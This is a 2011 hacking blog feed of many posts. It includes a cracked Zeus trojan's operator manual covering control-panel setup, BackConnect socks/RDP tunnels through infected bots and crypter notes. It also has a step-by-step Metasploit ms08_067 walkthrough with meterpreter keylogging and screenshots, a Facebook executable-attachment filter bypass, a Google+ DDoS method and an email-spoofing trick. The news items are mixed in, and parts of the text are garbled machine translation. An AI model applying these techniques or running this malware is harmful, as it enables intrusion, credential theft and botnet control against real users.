Anti Hacking Anticipation Society ®

Facebook Attach EXE Vulnerability

noreply@blogger.com (Taufique) — Thu, 08 Dec 2011 08:45:00 +0000

Summary:
When using the Facebook ‘Messages’ tab, there is a feature to attach a file. Using this feature normally, the site won’t allow a user to attach an executable file. A bug was discovered to subvert this security mechanisms. Note, you do NOT have to be friends with the user to send them a message with an attachment.

Description:
When attaching an executable file, Facebook will return an error message stating:
“Error Uploading: You cannot attach files of that type.”

When uploading a file attachment to Facebook we captured the web browsers POST request being sent to the web server. Inside this POST request reads the line:

Content-Disposition: form-data; name=”attachment”; filename=”cmd.exe”

It was discovered the variable ‘filename’ was being parsed to determine if the file type is allowed or not.

To subvert the security mechanisms to allow an .exe file type, we modified the POST request by appending a space to our filename variable like so:

filename=”cmd.exe ”

This was enough to trick the parser and allow our executable file to be attached and sent in a message.

Impact:
Potentially allow an attacker to compromise a victim’s computer system.

Happy Hacking :)

Taufique Azad

Zeus 2.0.8.9 6 - Cracked (Builder + Cpanel)

noreply@blogger.com (vivek) — Wed, 14 Sep 2011 13:23:00 +0000

Compatible Windows 7 - Vista - XP - 2000 ...

Zeus 2.0.8.9 6 - Cracked

Compatible Windows 7 - Vista - XP - 2000 ...

1. Description and features.
2. Setting up the server.
2.1. HTTP-server.
2.2. The interpreter PHP.
2.3. MySQL-server.
2.4. Control Panel.
2.4.1. Installation.
2.4.2. Update.
2.4.3. File / system / fsarc.php.
3. Setting Bot.
4. Working with BackConnect.
5. Changelog.
6. F.A.Q.
7. Myths.

==============================
= 1. Description and features. =
==============================
ZeuS - software to steal personal user data from remote systems, Windows. On
plain language of "trojan", "backdoor", "virus". But the author does not like these words, therefore, further documentation
He will call this software "Bot".

Boat is fully based on the WinAPI Interception in UserMode (Ring3), this means that the bot does not use
drivers or treatments in Ring0. This feature makes it possible to run even on
Guest Account. Plus, it ensures greater stability and adaptability
on next versions of Windows.

Bot is written in Visual C + + version 9.0 +, with no additional libraries are used
(no msvcrt, ATL, MFC, QT, etc. used). Code is written with the following priorities (in descending order):
1. stability (carefully checked all the results of the call functions, etc.)
2. size (to avoid duplication of algorithms, repetitive calls, functions, etc.)
3. speed (not the type of instruction while (1 ){..}, for (int i = 0; i http://apache.org/dyn/closer.cgi
or IIS: http://www.iis.net/

---------------------------
- 2.2. The interpreter PHP. --
---------------------------
The latest version of the control panel designed for PHP 5.2.6. It is highly recommended
use the version is not lower than this version. But in extreme cases of not less than 5.2.

It is important to make the following settings in php.ini:

safe_mode = Off
magic_quotes_gpc = Off
magic_quotes_runtime = Off
memory_limit = 256M; or higher.
post_max_size = 100M; or higher.

and recommended to change the following settings:

display_errors = Off

Also need to add Zend Optimizer (acceleration of the script, and run the protected
scripts). We recommend version 3.3.

We do not recommend to use PHP as HTTP-CGI.

Download PHP: http://www.php.net/downloads.php
Download Zend Optimizer: http://www.zend.com/en/products/guard/downloads

----------------------
- 2.3. MySQL-server. --
----------------------
MySQL is required to store all data on botnet. The recommended version is not lower than 5.1.30, as well
worth considering that when the control panel in the older versions have some
problem. All table control panel, go to a MyISAM, it is important to optimize
speed of work with this format, on the basis of the available server resources.

We recommend the following changes to the MySQL-server setup (my or my.ini):

max_connections = 2000 # Or higher

Download MySQL: http://dev.mysql.com/downloads/

---------------------------
- 2.4. Control Panel. --
---------------------------

2.4.1. Setting.
*****************
Appointment of files and folders:
/ install - the installer.
/ system - the system files.
/ system / fsarc.php - a script to call an external archiver (section 2.4.3).
/ system / config.php - config file.
/ theme - the theme file (design), without Zend can freely change.
cp.php - control panel.
gate.php - gate for bots.
index.php - empty file to prevent listing of files.

The control panel is usually located in your folder in the distribution server [php]. All contents of this
folder, you need to upload to the server in any directory accessible by HTTP. If you download it through
FTP, all files you download in binary mode.

To nix-systems exhibit the right:
. - 777
/ system - 777
/ tmp - 777

For Windows-systems:
\ system - the right to full write, read only for users of the under which the access
via HTTP. For IIS this is usually IUSR_ *.
\ tmp - as well as for the \ system.

Once all files are downloaded, you need a web browser to run the installer on the URL
http://server/zeus_folder/install/index.php. Follow the instructions appeared, in the case of
mistakes (you will be notified in detail) in the installation, check that all fields are correct,
and correct installation of the rights to the folder.

After installation, we recommend that you delete the directory install, and rename files cp.php (entrance to the
panel) and gate.php (gate for bots) in any files you want (don't change the extension).

Now you can safely enter into the control panel by typing in the browser URL renamed
File cp.php.

2.4.2. Update.
******************
If you have a new copy of the control panel, and want to update an older version, the
should do the following:

1) Copy the files a new panel in place of old ones.
2) Rename files cp.php and gate.php under their real names of your choice during installation
the old control panel.
3) In any case, the right to re-set the directory in accordance with paragraph 2.4.
4) with a browser to run the installer for URL http://server/direktoriya/install/index.php, and
appeared to follow the instructions. The process of the installer may take a fairly large
period of time, this is due to the fact that some tables may be re-records.
5) You can use the new control panel.

2.4.3. File / system / fsarc.php.
******************************
This file contains a function to call an external archiver. At this time, archive
used only in "Reports:: Search in files" (reports_files), and is called to load
Files and folders in a single archive. By default, set to Zip archive, and is
universal for Windows and nix, so all you have to do is to install the system this
archive, and to the right in its execution. You can also edit this file to work with
any archiver.

Download Zip: http://www.info-zip.org/Zip.html.

======================
= 3. Settings. =
======================

===========================
= 4. Working with BackConnect =
===========================
Working with BackConnect regarded as an example.

IP of BackConnect-server: 192.168.100.1
Port for the bot: 4500
Port for the client application: 1080

1) Run the server application (zsbcs.exe or zsbcs64.exe) on the server has an IP in
Internet application specifies the port, which is expected to connect from the bot, and the port to
which will connect the client application. For example zsbcs.exe listen-cp: 1080-bp: 4500,
where 1080 - the client port 4500 - port to the bot.

2) Required command (bc_add service server_host server_port) will be sended to bot, where the service --
port number or name * service, which needs to connect to the Bot.

* currently only supported in the name of socks, which allows you to connect to the built-in
Socks-bot server.

server_host - a server that zapusheno server application. It can be used IPv4,
IPv6, or domain.
server_port - a port that is specified in the option cp server application. In this case, 4500.

Example: bc_add socks 192.168.100.1 4500 - as a result you get the socks,
bc_add 3389 192.168.100.1 4500 - as a result you get rdp.

3) Now you need to wait for bot to connect to the server, in this period, any attempt to client
applications to connect will be ignored (will disconnect the client). When bot
connects, in server's console will be output line: "Accepted new conection from bot ...".

4) After connecting the bot, you can work with their client. Ie you just
connect to the server to the client port (in this case 1080). For example, if you gave
command "socks", a port on the client you will be expected to Socks-server, if port 3389, then
you connect to 192.168.100:1080 as a normal RDP.

5) After that, when you do not need BackConnect of the bot for a certain service, you must pay
click bc_del service server_host server_port, where all the parameters must be identical
parameters bc_add, which must be removed. You can also use the spec. characters
'*' And '?'.

For example: bc_del * * * - deletes all BackConnects from this bot.
bc_del * 192.168 .* * remove all backconnects, connect to the server with IP 192.168 .*.
bc_del 3389 192.168.100.1 4500 - specifically removes one backconnect.

NOTES:
1) You can specify any number of backconnects (ie bc_add), but they should not be shared
combination of IP + Port. But if there is such a combination, will be launched first added.
2) For each backconnect, you must run a separate server application.
3) if the connection (drop server drop bot, etc.), bot will repeat the connection
to the server indefinitely (even after rebooting the PC), until backconnect will not be removed
(ie bc_del).
4) As a service to bc_add, you can use any open port at the address 127.0.0.1.
5) The server application supports IPv6, but in principle at the present time, this support is not particularly
relevant.
6) You can launch the server application under wine. Writing the same elf application is currently not
planned.
7) It is recommended to use the option bp popular application server ports (80, 8080,
443, etc.), because other ports may be blocked by the provider of bot.
Cool should not be allowed to connect to different bots on the same server port at the same time.
9) The method of such a connection might be useful for bots, which are outside the NAT, because sometimes
Windows firewall or ISP may be blocked from the Internet connection.

NOTE: This feature is not available in all builds Bot.

======================
= 5. History. =
======================
Conditional tags:

* - Change.
[-] - Fix.
* - New feature.
[Version 1.2.0.0, 20.12.2008]
Overall:
* Documentation in txt format. chm not used anymore.
* Now the bot is able to receive commands not only with the sending status, but when sending

files / logs.

* Local data requests to the server and the configuration file is encrypted with RC4 (you can specify your key).
* Fully updated protocol bot <-> server. Perhaps less load on the server.

Boat:
[-] Fixed the bug that blocking bots on limited account.

* Written a new PE-crypter. Now PE-file is very accurate and the most

simulates the results of the MS Linker 9.0.

* Updated build process in bilder.
* Optimized compression of the configuration file.
* The new format is a binary configuration file.
* Rewritten the process of assembling the binary config file.
* Socks and LC are now working on a port.

Control Panel:

* The status of the control panel is BETA.
* Changed all MySQL tables.
* Control Panel moving on UTF-8 charset (may be temporary problems with

displaying characters).

* Updated geobase.
[Version 1.2.1.0, 30.12.2008]
Boat:
* BOFA Answers are now sent as BLT_GRABBED_HTTP (was BLT_HTTPS_REQUEST).
[-] Small error when sending reports.
[-] The size of the report could not exceed ~ 550 characters.
[-] A low timeout for sending POST-requests
resulting in a blocked sending long (more than ~ 1 Mb) Report on slow
compounds (not stable), as the theoretical implications - bot altogether stopped sending
logs.

Overall:
* In the case record and record type BLT_HTTP_REQUEST BLT_HTTPS_REQUEST field SBCID_PATH_SOURCE

(in the table will path_source) added path URL.

Control Panel:

* Updated redir.php.
[Version 1.2.2.0, 11.03.2009]
Boat:
[-] Fixed bug in HTTP-injections exists for all versions of bot. When
use in the asynchronous mode wininet.dll, was lost time
synchronize flows generated wininet.dll, with the result that, under certain conditions
been an exception.
* By an HTTP-injection now also change the files in the local cache.

The absence of this refinement can not always activate HTTP-injection.

* Reduce the size of PE-file.
[Version 1.2.3.0, 28.03.2009]
Boat:
[-] Minor bug in crypter, thanks to Avira.

Overall:
* Changed protocol of bot's commands.

Control Panel:

* Completely rewritten Control Panel.
* Design rewritten to XHTML 1.0 Strict (for IE does not work).
* Bot is now again able to receive commands only when sending a report on the online status

(too high load).

* Updated geobase.
[Version 1.2.4.0, 02.04.2009]
Boat:
* When using HTTP, the header User-Agent is now read by Internet Explorer, rather than

is a constant as before. Theoretically, because of the constant User-Agent'a, queries
providers may be blocked or fall under suspicion.

Control Panel:
[-] Fixed a bug displaying records containing characters 0-31 and 127-159.

=============
= 6. F.A.Q. =
=============
Q: What's the version numbers mean?
A: a.b.c.d
a - a complete change in your bot.
b - the major changes that cause complete or partial incompatibility with previous
versions.
c - correct errors, refine, add features.
d - the number of reFUDs for the current version

Q: How does the generated Bot ID?
A: Bot ID consists of two parts:% name% _% number%, where the name - the name of the computer (the result of
GetComputerName), a number - a certain number that is generated on the basis of some unique operating system data.

Q: Why is the traffic is encrypted using symmetric encryption (RC4), but not asymmetric (RSA)?
A: Because the use of complex algorithms does not make sense, you need to encrypt only to hide
traffic. Plus RSA only in terms of not knowing the key is in the Control Panel will not
ability to emulate her answers. And what meaning is to defend this (globally
view)?

Q: I damaged tables / files panel, what should I do?
A: Play the instructions specified in paragraph 2.5.

===========
8. Myths =
===========
M: ZeuS uses a DLL.
A: False. There is only one executable PE file (exe). Dll, sys, etc. not used.
This myth has gone due to the fact that in some version for bot
storage configuration used for files with such extensions.

M: ZeuS uses COM (BHO) for the interception of Internet Explorer.
A: False. Used WinAPI interception of wininet.dll.

Windows Remote Desktop Worm “Morto” Spreading

noreply@blogger.com (Taufique) — Tue, 13 Sep 2011 08:09:00 +0000

F-Secure Lab just found a new Internet worm, and it’s spreading in the wild. The worm is called Morto and it infects Windows workstations and servers. It uses a new spreading vector that we haven’t seen before: RDP (Remote Desktop Protocol). Windows has built-in support for this protocol via Windows Remote Desktop Connection

Once you enable a computer for remote use, you can use any other computer to access it.

When you connect to another computer with this tool, you can remotely use the computer, just like you’d use a local computer.

Once a machine gets infected, the Morto worm starts scanning the local network for machines that have Remote Desktop Connection

enabled. This creates a lot of traffic for port 3389/TCP, which is the RDP port.

When Morto finds a Remote Desktop server, it tries logging in as Administrator and tries a series of passwords:

admin
password
server
test
user
pass
letmein
1234qwer
1q2w3e
1qaz2wsx
aaa
abc123
…….
………..

Once you are connected to a remote system, you can access the drives of that server via Windows shares such as \\tsclient\c and \\tsclient\d for drives C: and D:, respectively. Morto uses this feature to copy itself to the target machine. It does this by creating a temporary drive under letter A: and copying a file called a.dll to it.

Happy Hacking :)

Taufique Azad

volunteer (Maharashtra)

Hackers Acquire Google Certificate, Could Hijack Gmail Accounts

noreply@blogger.com (Taufique) — Tue, 13 Sep 2011 06:49:00 +0000

Hackers have obtained a digital certificate good for any Google website from a Dutch certificate provider.

Criminals could use the certificate to conduct “man-in-the-middle” attacks targeting users of Gmail, Google’s search engine or any other service.

Attackers could poison DNS, present their site with the fake cert and bingo, they have the user’s credentials.

Man-in-the-middle attacks could also be launched via spam messages with links leading to a site posing as, say, the real Gmail. If recipients surfed to that link, their account login username and password could be hijacked.

It’s unclear whether the certificate was obtained because of a lack of oversight by DigiNotar or through a breach of the company’s certificate issuing website.

Given their ties to the government and financial sectors it’s extremely important to find out the scope of the breach as quickly as possible. The situation was reminiscent of a breach last March, when a hacker obtained certificates for some of the Web’s biggest sites, including Google and Gmail, Microsoft, Skype and Yahoo.

Then, Comodo said that nine certificates had been fraudulently issued after attackers used an account assigned to a company partner in southern Europe.

Initially, Comodo argued that Iran’s government may have been involved in the theft. Days later, however, a solo Iranian hacker claimed responsibility for stealing the SSL certificates.

Happy Hacking :)

Taufique Azad

volunteer (Maharashtra)

Facebook virus spreads via photo album chat messages

noreply@blogger.com (Taufique) — Fri, 09 Sep 2011 17:55:00 +0000

A new social networking worm in the vein of Koobface is currently doing the rounds.

Unlike the majority of Facebook scams, this one actively infects your computer with malware instead of simply tricking you into taking surveys and passing on messages to other users.

The link in his Facebook chat from a friend pointed to an app.facebook.com/CENSORED link. Typically when you go to a Facebook app page it prompts you to add the application and grant it permission to post on your behalf or read your profile data. The scary part about this one is that it immediately prompts you to download a “FacebookPhotos#####.exe” file with no prompting or clicking required.

The screen reads “Photo has been moved. This photo has been moved to other location. To view this photo click View Photo.” If your computer has not already downloaded the malware, the “View Photo” button will download the virus for you.

It is really unfortunate that Facebook scams are moving back towards spreading malware. Fortunately, users of Sophos Anti-Virus had proactive protection from this threat with both our HIPS and suspicious file detection technologies; this particular strain is now identified by Sophos as W32/Palevo-BB.

The good news is that, Facebook removed the malicious application from its service. But there are probably many more applications like this one making the rounds, so, as always, beware of unusual messages from friends whether they are in email, on their walls, or in an instant message.

Happy Hacking

Taufique Azad

volunteer (Maharashtra)

Using Google Servers as a DDoS Tool

noreply@blogger.com (Taufique) — Fri, 09 Sep 2011 11:23:00 +0000

Google’s servers can be used by cyber attackers to launch DDoS attacks, claims Simone “R00T_ATI” Quatrini, a penetration tester for Italian security consulting firm AIR Sicurezza.

Quatrini discovered that two vulnerable pages – /_/sharebox/linkpreview/ and gadgets/proxy? – can be used to request any file type, which Google+ will download and show – even if the attacker isn’t logged into Google+.

By making many such request simultaneously – which he managed to do by using a shell script he’s written – he practically used Google’s bandwidth to orchestrate a small DDoS attack against a server he owns.

He points out that his home bandwidth can’t exceed 6Mbps, and that the use of Google’s server resulted in an output bandwidth of at least 91Mbps.

“The advantage of using Google and make requests through their servers, is to be even more anonymous when you attack some site (TOR+This method); The funny thing is that apache will log Google IPs,” says Quatrini. “But beware: igadgets/proxy? will send your IP in apache log, if you want to attack, you’ll need to use /_/sharebox/linkpreview/.”

Happy Hacking

Taufique Azad

volunteer (Maharashtra)

WPA VS WPA2

noreply@blogger.com (vivek) — Wed, 24 Aug 2011 08:02:00 +0000

A wireless network transmits signals over radio waves and there is a possibility or a certainty in most cases that attempts to intercept signals and hack your network will be made. To protect your wireless network from such attacks, you need to install wireless security standards like WPA or WPA2. They encrypt the data transmitted on the network and ensure that nefarious schemes of hackers don't work! In this article I present a WPA vs WPA2 comparison, which will point out the main differences between the two standards and help you choose between the two.

Since the beginning of wireless telegraphy and radio communication, the threat of data being intercepted and stolen for malicious purposes has always been there. To counter these threats, with the advent of wireless networking, encryption methods were developed to prevent data from being stolen. Cryptology developed as a science to counter these hacking attempts made on wireless transmissions. To protect wireless networks, first the WEP (Wired Equivalent Privacy) technology was developed.

However, WEP proved to be inadequate and was easily hacked due to inherent flaws in the encryption methods. WPA (Wi-Fi Protected Access) was developed as an improvement over WEP for the IEEE 802.11i wireless network standard. As a WPA vs WEP comparison would reveal, WPA did succeed where WEP failed. WPA2 is the successor of WPA with even more improved encryption methods. Let us compare WPA and WPA2 according to their encryption methods and overall performance.

Difference Between WPA and WPA2

Let me set up a little background regarding wireless transmission encryption methods. All data packets are encrypted with the use of encryption keys at transmission and decrypted at receiving points. The encryption keys consist of a secret key and an 'Initialization Vector (IV)'. Longer the encryption key's bit length, more are the encryption possibilities and stronger is the encryption technique. Constant change in encryption keys makes it harder for hackers to crack wireless networks. Let us see how WPA and WPA2 implement encryption techniques.

WPA Vs WPA2: Encryption
Let us see the differences between the encryption methods employed in the WPA and WPA2 standard. Every WPA key has a 48 bit IV key, which creates 500 trillion combinations and is a stronger encryption compared to WEP. With so many combinations, the possibility of the encryption key reuse is lesser and therefore the encryption can endure hacking attacks better than WEP. WPA does not make direct use of the master encryption keys and has a message integrity checking facility. It uses the TKIP (Temporal Key Integrity Protocol) and creates encryption keys from passphrases supplied by the administrator, coupled with SSID (service set identifier) codes of wireless networks.

However, as smart as hackers are, even WPA was found to be vulnerable to hacking. To take care of the problem, WPA2 was introduced which used the AES (Advanced Encryption Standard) algorithm to encrypt data. Data encryption for information security is constantly evolving to meet the challenge posed by advanced hacking methods. The AES algorithm is far more superior than the one used by WPA. It is advertised to be theoretically uncrackable due to the greater degree of randomness in encryption keys that it generates.

WPA Vs WPA2: Speed
WPA2 requires greater processing power compared to WPA and it can slow down a network slightly with hardware that is not in sync with WPA2. So if you are using old wireless routers, with firmware upgrades, chances are that WPA2 might slow down the network if it has heavy usage. If you have new wireless network hardware that is built to be compatible with WPA2, speed slowdowns will be very negligible. The wireless network speed is more dependent on the bandwidth you have purchased.

WPA Vs WPA2: Performance
Performance wise, WPA2 is far stronger than WPA due to the inherently superior encryption algorithm. WPA2 wins hands down in terms of performance and is the recommended choice if you are setting up a new wireless network.

Hope this WPA vs WPA2 comparison has made it easier for you to decide which would be the best wireless security standard for your own network security. WPA2 is the superior technology with a stronger encryption algorithm. If your wireless network lies in a high risk zone, it is best that you opt for the latest WPA2 encryption technology.

Thank You

Backtrack 5 Code name “Revolution” RELEASED

noreply@blogger.com (Taufique) — Wed, 20 Jul 2011 16:25:00 +0000

After much anticipation – Backtrack 5 is finally here

heyy..hi..Buddies I have something interesting to inform you but it's little late as I was busy in my college. Few days back backtrack 5 linux is relased.

Backtrack5 Linux~Penetration Testing Distribution

The backtrack 5 is based on Ubuntu Lucid 10.04 LTS. It supports both 32 bit and 64 bit systems. In Backtrack5, It is easy to access tools. BackTrack offers more than 300 penetration testing tool

Screenshot of BackTrack 5 Security Distribution

Supports ARM architecture - now this is quite important for the Nokia N900 users as the phone uses an ARM processor. So the possibility of running Backtrack on the N900 has now enormously increased.

You can now choose between GNOME and KDE ( General comparison between the two can be found here.) Although KDE doesn’t have a VMware image.

For downloads head to http://www.backtrack-linux.org/downloads.

Happy Hacking

Taufique Azad

volunteer (Maharashtra)

Hacking a computer with just an IP - The Metasploit Framework -

noreply@blogger.com (Unknown) — Sat, 02 Jul 2011 08:20:00 +0000

Sometimes many people ask me, that if a hacker could do anything with “just” IP. Now what after that. Now, what about this. He could literally own you and take over your entire system.

Plus, getting the IP of a person isn't that tough. Just make him visit your link, with the PHP script of IP logger and bingo, you now know his IP without the person even being suspicious about it.

But how do attackers do it? There are certain security holes in all the OS, or if not in the OS, in the client software. Thats why you are advised to regularly update your softwares. Yes, an attacker can hack into your computer, with just a vuln in your less than a week earlier upgraded Adobe Flash Player (just an eg).

So, how is it done? How the attackers achieve it. Thats what i'll be telling here.

I'm here with a Metasploit tutorial. This tutorial will give you a basic guide on how to use metasploit and its features.

This tutorial is meant for everyone, even a total newbie would be able to understand this. And if you have doubt at any point, you can leave a comment in the comment box or you can even contact me personally.

This tutorial will try to take you from a 0-level to some basic level.

Even in case you don't know what Metasploit is, keep reading. The picture will get clear. Don't worry.

Its a framework released by H.D.Moore in 2003, which can be used to acquire, develop and launch exploits for any computer vulnerablilites. It provides us with a “point, click , root “ environment. It can run on any platform, be it Linux, Windows, Mac Osx, IOS (Jailbroken), Nokia N900 or even rooted Android phones.

It is an open source tool which we can use for using exploits or coding our own custom exploits. It just makes the job of exploitation a lot simpler.

Metasploit comes in following forms, however we would stick to the MSFConsole as it is the most powerful and provides us with more flexibity.

MSFCLI (command line interface)
MSF Web
MSFConsole
MSFwx
MSFAPI

So, lets now start msfconsole.

I'm dealing with Ubuntu, but on Windows too, the commands would be almost same. And it is your job to try it out on Windows.

I won't be going enough into the installation part as it is no big deal.

Still if you have any problem in installing, you can see this.

So, lets start.

Lets say, I'm running Ubuntu as my main machine and will try to target Windows XP SP2. You can try against any target as you wish. For this, i have setup Ubuntu as my main OS and i'm running Windows in my VMWare.

After you have successfully installed Metasploit, launch a terminal, type in msfconsole to launch the Metasploit console.

You'll be having a screen like this :

Your Metasploit may be little old, update it using the command

msfupdate

In case you're on Ubuntu, the update needs root permission.

You may run it as root by

sudo msfupdate

Enter your password when it prompts. Good, now you have metasploit with all the latest exploits and modules .

Now, you are having a metasploit console, which is similar to a command prompt. Lets understand everything by exploiting our target machine.

Some of the useful commands you can use here are

show exploits/ show payloads : To give a list of all the existing exploits/payloads

info exploit/payload : Gives information about a particualr exploit/payload

use exploit : To use a exploit

The first thing we have to set here is the exploit .

An exploit is basically a vulnerability on the target machine. It may be the vulnerability in his OS itself or web browser or maybe adobe flash player, it could be anything.

Now lets say we want to see all the available exploits at present.

Type in

show exploits

Lets say we want to exploit a vuln MS08_067 which also is the cause of the Conficker worm in 2008-09.

So, type in the following to search for exploits containing MS08_067

search ms08_067

You would now be presented with the ms08_067_netapi vuln, which is the vuln we are going to use in order to exploit the target machine.

If you want to know more about the exploit

Type in

info

In this case

info exploit/windows/smb/ms08_067_netapi

You would be having more information about that exploit, the targets it is supposed to work on, and many other things.

Now, we have to use this exploit.

Type in

use exploit/windows/smb/ms08_067_netapi

The msf prompt would have now changed a bit and it should now also contain the exploit name .

Now, we have to set more parameters such as the payloads, RHOST, LHOST etc.

In case you dint know,

Payloads are the actual code/shellcode that run upon succeful exploitation. To put it in other words, suppose you have successfully compromised a system. Now what would you like to do with it. That is determined by the paylaod.

There are following types of payloads :

Inline : It is a single level payload, which will run on the compromised system.

Staged : It contains of more tha one stages. Upon compromise of the target system and running of some shellcode, it will again call the attacker for the remaining shellcode to execute.

Meterpreter : One of the most famous and widely used payloads. We would be using it in our case too. It provides a wide range of functionality. Also, it would set up less flags, as it doesnot hits the disk. And everything happens in memory. So it is less likely to be detected.

PassiveX : It uses the normal HTTP to communicate betweent he attacker and the target. Similar to ActiveX.

Now, coming back to setting of parameters. Lets set a payload.

Now we have to set a payload. We would be going with the meterpreter payload as said earlier.

To set it, type in

set PAYLOAD windows/meterpreter/reverse_tcp

It will connect back to us , in case of successful exploitation. We coudl also set it to run an executable or anything else we wish.

Now to see the parameters required

show options

The parameters marked with Required “yes” are compulsary to set, rest are optional.

We would be setting RHOST to the target's Ip.

For that, type in

set RHOST 192.168.173.128

The RPORT could be left default.

Also, it needs LHOST that is our ip.

To find the ip in linux, instead of ipconfig as in windows,

type in ifconfig here.

Also, you should know that all the linux commands could also run through msf console.

Now all the options are set.

All we have to do is to run our exploit..

For that type in exploit

Boom, we are in.. own3d...

In case of successful exploitation, you would get a session, if you don't, bad luck, try a different exploit.

Now, you would be having, what is called a meterpreter shell. It is a normal shell, with added features.

Now, first of all, type in

meterpreter>getsystem

And then "use priv"

meterpreter>use priv

Type in ps to get a list of processes runing on the target machine.

Migrate to a system process, for example, explorer.exe.

To do that, note the PID of explorer.exe which you got on typing ps . In my case, its 1472.

Now type

meterpreter>migrate 1472

You would be having something like this

meterpreter > migrate 1472

[*] Migrating to 1472...

[*] Migration completed successfully.

now, you could also set up a keylogger. For that

keyscan_start

meterpreter > keyscan_start

Starting the keystroke sniffer...

meterpreter >

Now lets get to the cmd shell.

For that type in shell

meterpreter>shell

Process 1584 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

C:\Documents and Settings\Administrator>

Great, we are in the cmd prompt :D

Press exit to go back to the meterpreter shell.

Now , We can run executables, download files, upload files.

Lets say we want to get the desktop screenshot of the target.

For that ,type in

screenshot

The screenshot would open in your default browser . :)

Also,

type in keyscan_dump to dump all the logged keystrokes ..

Next, now we have done this, we would try to upload a netcat backdoor, so that even if the connection gets lost, we could still connect back to the target.

Have fun for the time being.

Also, i would be telling some advanced concepts in the next tutorial, if i get good reviews.

Happy Hacking. :)

You can get in touch with me at Facebook

Aditya Gupta

Cyber Security Expert

Certified Ethical Hacker(C|EH)

Facebook Security Suckssss!

noreply@blogger.com (Anti Hacking Anticipation Society ®) — Sat, 04 Jun 2011 13:35:00 +0000

I had gone through something freaky.. So, thought to share with you.

See this link :

https://www.facebook.com/connect/connect_to_node_error.php?body=it's%20all%20your's

https://www.facebook.com/connect/connect_to_node_error.php?body=$AM%20is%20here

%20

https://www.facebook.com/connect/connect_to_node_error.php?body=$AM%20is%20here
!

This is a common trick that anyone can do with php pages. But I think FB

should be care about this.

Change the attribute value of body and the page is your's !!!

Happy Hacking
Rishi Aggarwal

New Rules under the Information Technology Act

noreply@blogger.com (Anti Hacking Anticipation Society ®) — Sun, 01 May 2011 06:49:00 +0000

The Information Technology (Reasonable security practices and procedures and sensitive personal data or information) Rules, 2011 has now come into force.

Along with that 3 new rules have been passed by the government.

1. lnformation Technology (Electronic Service Delivery) Rules, 2011

http://www.mit.gov.in/sites/upload_files/dit/files/RNUS_CyberLaw_15411.pdf

2. Information Technology (Intermediaries guidelines) Rules, 2011

http://www.mit.gov.in/sites/upload_files/dit/files/due_dilligance4intermediary07_02_11.pdf

3. Information Technology (Guidelines for Cyber Cafe) Rules, 2011

http://www.mit.gov.in/sites/upload_files/dit/files/guidelines4cybercafe0702_11.pdf

Happy Hacking.
HANS TEAM

LATEST ! Man-in-the-Browser attacks.

noreply@blogger.com (Anti Hacking Anticipation Society ®) — Sun, 24 Apr 2011 09:07:00 +0000

HACKERS are increasingly targeting the information assets of some of the world's most well-known organizations.

With firewalls, antivirus and other security mechanisms protecting corporate networks, how do attackers manage to penetrate enterprise computer systems? Simply by exploiting the weakest link in the security chain. One of the newest methods is tunnelling in via employees' browsers using an attack known as "Man-in-the-Browser" (MitB).

An MitB attack starts with malicious software (usually a Trojan like Zeus or SpyEye) lurking on a seemingly innocuous website. When visitors arrive the malware takes control of their Web browser and modifies pages, content or transaction data presented to the user.

All of this is done without the user's knowledge in a completely covert fashion. Depending on what the browser is being used for, MitB enables attackers to silently steal anything from login credentials to account numbers or financial information. With browser sessions often containing the logon details for email systems, VPNs and cloud services -- such as cloud CRM -- it's critical to lock down these sessions without impacting performance. Making the situation worse is the explosion of mobile devices and the multitude of people who can access enterprise resources remotely.

It's not difficult for employees to stumble upon infected sites and fall victim to drive-by infections, because fraudulent spoof sites are being created every day. Criminals even use search engine optimization techniques to raise these sites to the top of search engine listings. But many legitimate websites are also being infected. Engineered attacks, like the recent LinkedIn email phishing campaign, are increasingly being used to ambush individuals and install sophisticated malware such as Bugat and Clampi.

This modern malware is designed to slip under the radar of traditional antivirus solutions and bypass strong authentication technologies like tokens or network access control (NAC) systems. It then captures all data processed by that browser and transmits it back to the criminals. All this can be achieved without setting off alarms.

We recently decrypted an attack on the popular Citrix Access Gateway by the Zeus Trojan that illustrates how criminals are trying to stay one step ahead of security controls.

In an attempt to protect its SSL VPN product against key logging malware, Citrix allows companies to customize the logon page to include a virtual on-screen keyboard which replaces the physical keyboard. So instead of typing a password on the physical keyboard, mouse clicks are used to press the keys drawn on screen, theoretically bypassing keyloggers.

NOW ONWARDS EYE WILL BE USED AS MOUSE FOR LAPTOP

noreply@blogger.com (Taufique) — Thu, 10 Mar 2011 13:34:00 +0000

If you are tired using keyboard & mouse now their will be coming a laptop. which will be used through the eye actions. This laptop has a technology of eye tracking. The commands are sent through the medium of eye by which the laptop works accordingly.

As per the reports given by daily mail even the swedish company Tobii technology also says that eye will be used in place of mouse cursor. Which the help of two invisible Infrared rays eye tracker will be working.

This laptop will commencing very soon

NOW COMPUTER WILL BE MORE FASTER AND excellence VERY SOON

After this their will be two camera’s fitted in the eyeball. Both retina will pass the rays to the screen of the laptop & then screen will pass the rays to retina. It can also scroll the text of the screen

After this technique computer will become very faster & excellence......

Taufique Azad

Latest Facebook Bug

noreply@blogger.com (Unknown) — Mon, 07 Mar 2011 15:36:00 +0000

The most popular social networking website, Facebook, is not 100% secure.

Even if you are aware of the latest defence methods in order to keep you safe online, save you from Phishing or Java- Driveby’s, Your facebook account may not be totally secure.

A new feature introduced in facebook called groups, allows members to interact with each other and post on the groups wall. A member of the group can invite his/her other friends to the group and they automatically get added without a confirmation.

If you don't know which all groups are you a member of, you can check it in the left hand side of your facebook page.

For ex, following are the groups I’m a member of :

A latest bug in facebook, allows the attacker to post status updates from your account, or post anything he wants in any of the groups you have joined.

Let’s suppose that the attacker is one of your friends on facebook, and he has your primary email id through which you login.

Now, all he would have to do, is to send a fake mail tosomething@groups.facebook.com

Where "something" is the name of the group in which he wants to post anything on your behalf.

The result would be something like this:

One more variant of this type of attack is, if the attacker get holds of your personalized email id,

He could send mail to that email id ( abc@m.facebook.com ) from the email account you use of facebook using a simple trick known as email spoofing. This can be used to post status updates, comments on any update, and even to change your account settings.

The best way to be safe is to hide your contact information from even your friends and never to use your primary email to login to facebook account.

Also, make sure you change your personalized email ( @m.facebook.com ) every few days in order to be safe.

Be Secure.

Happy Hacking.

Special thanks to Shavik and Sai Satish of AH. :)

Aditya Gupta

Email me : aditya1391@facebook.com

Java Drive : The Next Generation of Threats

noreply@blogger.com (Unknown) — Sat, 05 Feb 2011 11:20:00 +0000

Nothing is 100% safe, Not even a simple pop-up window on which you click Yes without giving it a second thought. Ask yourself, Did you ever care to think , every time you clicked on a pop-up(like the one shown below) that you were playing in to the hands of a malicious attacker.

